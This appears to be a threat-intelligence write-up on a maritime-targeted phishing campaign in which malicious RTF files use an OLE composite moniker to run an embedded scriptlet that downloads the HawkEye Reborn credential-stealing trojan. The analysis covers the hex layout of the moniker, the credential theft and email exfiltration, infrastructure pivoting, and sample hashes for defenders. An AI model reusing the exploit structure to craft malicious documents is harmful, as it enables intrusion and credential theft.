The next bytes are the ‘native data’ of the object, and the signature indicated they are a Microsoft Compound File Binary (CFB) file, which is a simplified file-system within a file:

D0 CF 11 E0 Compound File Header


A1 B1 1A E1
00 00 00 00 (x4) Header CLSID.
3E 00 03 00 Minor version Major version

The CFB file contains one sector, which is an OLEStream. It is here that the composite moniker that leads to remote code execution is defined:

01 00 00 02 Version


06 00 00 00 Flags
02 00 00 00 LinkUpdate (
00 00 00 00 Reserved
00 00 00 00 Reserved Moniker Stream size (0 = none)
00 00 00 00 Reserved Moniker
C0 00 00 00 Relative Moniker Stream size (192)
09 03 00 00 Packetised CLSID


Composite Moniker

00 00 00 00
C0 00 00 00
00 00 00 46
02 00 00 00 Number of monikers (2)
03 03 00 00 Packetised CLSID


File Moniker

00 00 00 00
C0 00 00 00
00 00 00 46
00 00|1A 00 Num ..\ at start of path Path Length (26)
00 00|25 54 File path


4D 50 25 5C
61 62 63 74
66 68 67 68
67 68 67 68
67 68 67 2E
53 43 54 00
0E 00|AD DE endServer (14) VersionNumber (0xDEAD)
00 00 00 00 (x5) Reserved (20 bytes)
38 00 00 00 Unicode Path Size (56)
32 00 00 00 Unicode Path Bytes (50)
0F 00|05 00 usKey value
54 00 4D 00 Unicode File path


70 00 25 00
5C 00 61 00
62 00 63 00
74 00 66 00
58 00 67 00
68 00 67 00
68 00 67 00
2E 00 73 00
63 00 74 00
C6 AF AB EC Packetised CLSID


‘New’ Moniker

19 7F D2 11
97 8E 00 00
F8 75 7E 2A

When the OLE object is loaded as the RTF file is opened, the composite moniker is bound. This means that IMoniker::BindToObject() is called which finds the object, puts it into the running state and provides a pointer to a specified interface.

As the moniker is a composite moniker, the two parts must first be bound before the pointer is returned to the calling application. Internally the BindToObject() method is called for the ‘New’ moniker, with an argument *pmkToLeft provided as a pointer to the file moniker. This means that before the new object is bound an object is created with a type determined by the extension of the path provided in the file moniker (.sct in this case). From the registry, it’s possible to see a .sct file (scriptletfile – text/scriptlet) corresponds to a CLSID of {06290BD2-48AA-11D2-8432-006008C3FBFC}:

Once the scriptlet file object has been created, the new moniker is bound, which results in a call to the object’s CreateInstance() method. When this is called, any code contained in the scriptlet file is run.

The scriptlet file is included in the RTF file using a Package object. This allows for an arbitrary file to be embedded into the document, and when the document is edited be written into %TEMP%. The scriptlet file is an interpreted COM component containing an XML representation of a script. In this case, it’s a lightly obfuscated Visual Basic script which will download a payload, save it to %APPDATA% and execute it:

In all samples seen, the download URL appeared to be hosted on a wide range of likely compromised infrastructure (e.g. machines exposing RDP or SSH). Interestingly, each executable was named with a date (e.g. EMEH2806.exe, CHIMA0807.exe). This matches the last-modified HTTP header when downloaded, so it appears to be used to track the date the malware was uploaded to the staging server.

Second stage

The second stage that is delivered varies depending on the theme of the campaign being carried out – for example, other campaigns using exactly the same RTF template and SCT file but with different email lures (e.g. purchase orders or draft contracts) deploy a range of different commercial RATs (AveMaria, AgentTesla, NanoCore, FormBook etc.). However, in the case of the maritime-focused campaign, every different email or sample results in a download of a variant of HawkEye Reborn v9.

HawkEye Reborn is a commodity remote access trojan which is available to purchase on a subscription model. It has been well documented by Talos and these samples are reasonably similar. The assembly is obfuscated (likely with ConfuserX) to make analysis more difficult. When run, the assembly spawns a child process which contains the main applications logic. This child process is stored in the PE resource section encrypted with a simple XOR cipher:

Because the two pseudo-random generators are always seeded with the same values (P_0=-1670293239 and P_1=625367976), we can create the same key sequence and decrypt the resource to obtain the clear-text executable.

This is also heavily obfuscated, this time with SmartAssembly, and so much so that no decompilers are able to successfully process it. Using dynamic analysis, however, it is possible to see that the hawkeye application extracts two Nirsoft utilities (WebBrowser PassView and Mail PassView) from the PE resource section and injects them into vbc.exe. This extracts saved credentials from browsers and email clients and saves them to temporary files on disk. The malware then queries the machine’s IP address using, before returning any obtained credentials, the machine’s IP address, hostname and currently logged in user via email:

Notably, the malware uses STARTTLS to encrypt the email transmissions, and validates that the SMTP server’s TLS certificate is trusted. The destination email domain was registered to appear similar to a legitimate company (abrancon[.]com -> abracon[.]com), and this gives us a useful insight into the campaign’s infrastructure.

Infrastructure discovery

The email domains used for returning machine information and passwords is registered with Openprovider, and is using their shared mail infrastructure. Depending on the hostname provided in the SNI field of the TLS request, the mail server responds with the appropriate certificate. In this case, certificates issued by Let’s Encrypt are being used, and contain a list of SANs including domains being used to impersonate other maritime organisations.

Additionally, each domain also has an entry as a subdomain of penavicohhn[.]com (a misspelling of another large maritime organisation in China). It is unclear why this is (perhaps to help keep track?), but by pivoting on this in certificate transparency logs, examining other samples, and looking at passive DNS records, we were able to build a fuller list of impersonated companies:

Malicious domain Likely impersonated company Chittagong Telecom Services Telaurus Communications (now Globecomm Maritime) Neda Maritime Agency Abracon (electronic parts supplier, antennas and RF components) Champion Tankers (Norway) Cosco International E-Gas Trading CC (South Africa) Malaysian human rights society (Hakam) Marmedsa shipping agency (part of Noatum) Meadway Shipping Ocean Trend Carriers Omicron Ship Management Hainan Fanyu Foreign Wheel Agency Co., Ltd. Penavico Shenzhen Logistics Ltd. Premium Maritime S.A. Roxana Shipping S.A. Seaport Services Pvt Ltd. Sunbeam Logistics. Go Shipping Gulf Agency Services Bulk Shipping (Pakistan) Thesarco Shipping Briese Chartering La SARL SEACOM AGE-LINES Co. Ltd (Vietnam) AGE-LINES Co. Ltd (Vietnam) FirstCoast Maritime Academy Genshipping Pacific Line NS United Shipping China Shipping Vostochny Port ( Tongli Shipping Tongli Shipping Safe Shipping
bestshipping-th{.tk and .cf} Clipper Group (Denmark) Dragon TS (Shanghai) GH Chemicals IMC Industrial Manta Shipping (Egypt) Nova Group (Singapore) Sunbeam Logistics (India) Xing Her International (Malaysia)

One of these domains was also a subdomain of, and pivoting around certificates issued to that domain gives another set of domains registered in much the same way. Again, there is a significant focus on maritime organisations, although in this campaign there also appears to be more targeting of the oil and gas sector:

Malicious domain Likely impersonated company
163-cn.(cf, gq, ga) NetEase ISP NetEase ISP Bayport (Spain) Best Shipping (Bermuda / Japan) Best Shipping (Thailand) Brenntag (Belgium) Chemi Pakhsh (Iran) Ership Group (Spain) Fleet Mangement Ltd. (Hong Kong) Globelink West Star Shipping (Dubai) Goodrich (Singapore) Great Source (Bangladesh) ISA Independence Shipping Agency (St. Martin) Leeds HR (Singapore) Nautilus World Services (Greece) Nice Sea (Vietnam) New Ocean Shipmanagement (Singapore) PetroVietnam Raha Group (Turkey) Rotary Engineering (Singapore) Rotary Engineering (Malaysia) Sea-win International Freight Forwarding (China) Steamship Mutual Sol Petroleum (Caribbean/South America) STTAT Group (Tunisia) SwissMarine (Switzerland) Toffoli Bassetti & Asociados Group (Argentina) Vasco Maritime (Singapore) Vicentin SAIC (Argentina) Viconship (Vietnam) Vietfracht (Vietnam) Vietnam Maritime Corporation (Vietnam) Bertling Group (Germany) Wenzhou BoNai Auto Radiator Co.,Ltd. (China)

RTF document templates?

The use of objclass PacJage to describe the package OLE object in the RTF files stood out, as in many online examples the ‘correct’ term Package is used. On pivoting on that and some other unique strings such as filenames and object dimensions it quickly became apparent that the same RTF file ‘template’ is being used to deliver many different types of trojan, and using many different document lures.

Each lure tended to cluster with a particular family of Trojan (for example, fake purchase orders with Ave Maria), but the only thing that changed in the RTF document was the second stage download URL.

It’s difficult to be certain, but this appears to be indicative of malware distribution being offered as a service, where the ‘purchaser’ provides the Trojan and email content and another party provides the delivery mechanism.

There is evidence that the RTF ‘template’ is continuing to be developed with more recent versions demonstrating additional obfuscation of the VBScript contained within the embedded .sct file (for example Base64 encoding the second stage URL). Despite this other aspects of the RTF file such as the objclass PacJage remains consistent.


There are a large number of hashes associated with the documents and hawkeye samples, so this list is not exhaustive. Samples had generally good anti-virus detection.

“ISPS PAN.doc” b0d83bb3dc8e01765642e6510f46f0db5edcc16891786d8a0575ae858f391b3d
“Lotta Auerbach.doc” f68341864769aedfff59b50cf63fc1035669dd7b45fbeb372378d9abfa45c4b5
VESSELXPARTICULARS.doc 5a6a48549a74100fb9c9ca70fbe0cb71d9ce6faf09e8379e28f3c488080e4f37
EMEH2806.exe 3441692b35d9730791292ce06e434aa4ccf354e9f4130019cdadbb5f18dc174b
ANIBYTE06062019.exe ada205992fb9c251e606134f349e0ed64589e909d9c884ef83d0dabaff448566
CHIMA2407.exe 9a4f94fb43afa4374fbb161771280369ec577e1d76ea11e0c5a260592a2e3d2d

Malware hosting locations frequently change, and are often taken down relatively quickly. All URLs seen have been reported to/are present on the URLHaus abuse feed:

Monitoring for traffic to the mail.<domain> subdomain of the domains in the tables above will detect infected clients. This appears to be an ongoing campaign so it is expected more domains will be added.

The following yara rule will match the RTF file ‘template’ used in the campaigns seen to date with a low false-positive rate: